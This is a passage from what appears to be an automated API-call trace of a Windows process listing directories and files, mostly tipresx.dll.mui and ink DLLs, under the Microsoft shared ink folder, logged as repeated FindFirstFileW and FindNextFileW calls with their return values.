nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.108] GetLastError () returned 0x12 [0148.108] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.108] FindClose (in: hFindFile=0x836aa0 | out: hFindFile=0x836aa0) returned 1 [0148.108] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.108] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0148.108] GetLastError () returned 0x12 [0148.109] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x836ca0 [0148.109] FindNextFileW (in: hFindFile=0x836ca0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.109] FindNextFileW (in: hFindFile=0x836ca0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.109] GetLastError () returned 0x12 [0148.109] FindNextFileW (in: hFindFile=0x836ca0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.109] FindClose (in: hFindFile=0x836ca0 | out: hFindFile=0x836ca0) returned 1 [0148.109] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.109] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1 [0148.109] GetLastError () returned 0x12 [0148.109] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x836aa0 [0148.111] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.111] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="chstic.dgml", cAlternateFileName="")) returned 1 [0148.111] GetLastError () returned 0x12 [0148.111] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="chstic.dgml", cAlternateFileName="")) returned 0 [0148.111] FindClose (in: hFindFile=0x836aa0 | out: hFindFile=0x836aa0) returned 1 [0148.111] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.111] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0148.112] GetLastError () returned 0x12 [0148.112] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x836aa0 [0148.112] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.112] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.112] GetLastError () returned 0x12 [0148.113] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.113] FindClose (in: hFindFile=0x836aa0 | out: hFindFile=0x836aa0) returned 1 [0148.113] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.113] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0148.113] GetLastError () returned 0x12 [0148.113] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x836aa0 [0148.113] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.113] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.114] GetLastError () returned 0x12 [0148.114] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.114] FindClose (in: hFindFile=0x836aa0 | out: hFindFile=0x836aa0) returned 1 [0148.114] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.114] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0148.114] GetLastError () returned 0x12 [0148.114] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xc2004e62, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x7b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0148.114] GetLastError () returned 0x12 [0148.114] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd51e08b5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd51e08b5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x178200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0148.114] GetLastError () returned 0x12 [0148.114] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xde1acd8d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xde1acd8d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x612e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0148.115] GetLastError () returned 0x12 [0148.115] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0148.115] GetLastError () returned 0x12 [0148.115] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe3805ad4, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe3805ad4, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x106a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0148.115] GetLastError () returned 0x12 [0148.115] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0148.115] GetLastError () returned 0x12 [0148.115] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x836aa0 [0148.116] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.116] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e90ce26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e90ce26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e90ce26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.116] GetLastError () returned 0x12 [0148.116] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e90ce26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e90ce26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e90ce26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.116] FindClose (in: hFindFile=0x836aa0 | out: hFindFile=0x836aa0) returned 1 [0148.116] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.116] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0148.116] GetLastError () returned 0x12 [0148.116] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x836aa0 [0148.118] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.118] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.118] GetLastError () returned 0x12 [0148.118] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.118] FindClose (in: hFindFile=0x836aa0 | out: hFindFile=0x836aa0) returned 1 [0148.119] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.119] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0148.119] GetLastError () returned 0x12 [0148.119] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x836aa0 [0148.119] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.119] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.119] GetLastError () returned 0x12 [0148.119] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", 